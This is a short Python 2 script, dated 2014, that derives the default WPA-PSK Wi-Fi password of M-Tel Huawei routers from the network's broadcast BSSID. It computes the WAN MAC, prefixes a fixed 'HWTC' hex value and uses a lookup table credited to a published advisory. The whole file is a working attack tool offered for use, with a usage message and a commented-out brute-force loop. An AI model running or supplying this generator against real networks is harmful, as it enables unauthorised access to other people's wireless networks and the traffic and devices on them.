#!/usr/bin/python
import sys

if len(sys.argv) != 2 or len(sys.argv[1]) not in [12,17]:
    print 'M-Tel_XXXX WPA-PSK generator (c) 2014 v0.1 by Alex Stanev <alex@stanev.org>'
    print 'Usage: '+sys.argv[0]+' [BSSID]'
    exit(1)

# Last byte of PSK translation table
# Taken from http://www.websec.ca/advisories/view/Huawei-HG8245-y-HG8247-WPA-Generator
trans = {'28': '03',
         '08': '05',
         '80': '06',
         'E0': '0C',
         '00': '0D',
         '10': '0E',
         'CC': '12',
         'D4': '23',
         'AC': '1A',
         '20': '1F',
         '70': '20',
         'F8': '21',
         '48': '24',
         '78': '04'}

# D4 also have 35? 23!
# Magic HWTC
magic = '48575443'

# Cleanup
bssid = sys.argv[1].replace(':', '')
bssid = bssid.replace('-', '')
if len(bssid) != 12:
    print 'Short BSSID'
    exit(2)

# Calculate WAN MAC from BSSID
try:
    wanpart = int(bssid[-6:], 16) - 9
    wanpart = format(wanpart, '06X')
    #for a in range(0,256):
	#print magic+wanpart+format(a,'02X')
    print magic+wanpart+trans[bssid[0:2].upper()]
except ValueError:
    print 'Bad BSSID'
    exit(3)
except KeyError:
    print 'Not supported'
    exit(4)

exit(0)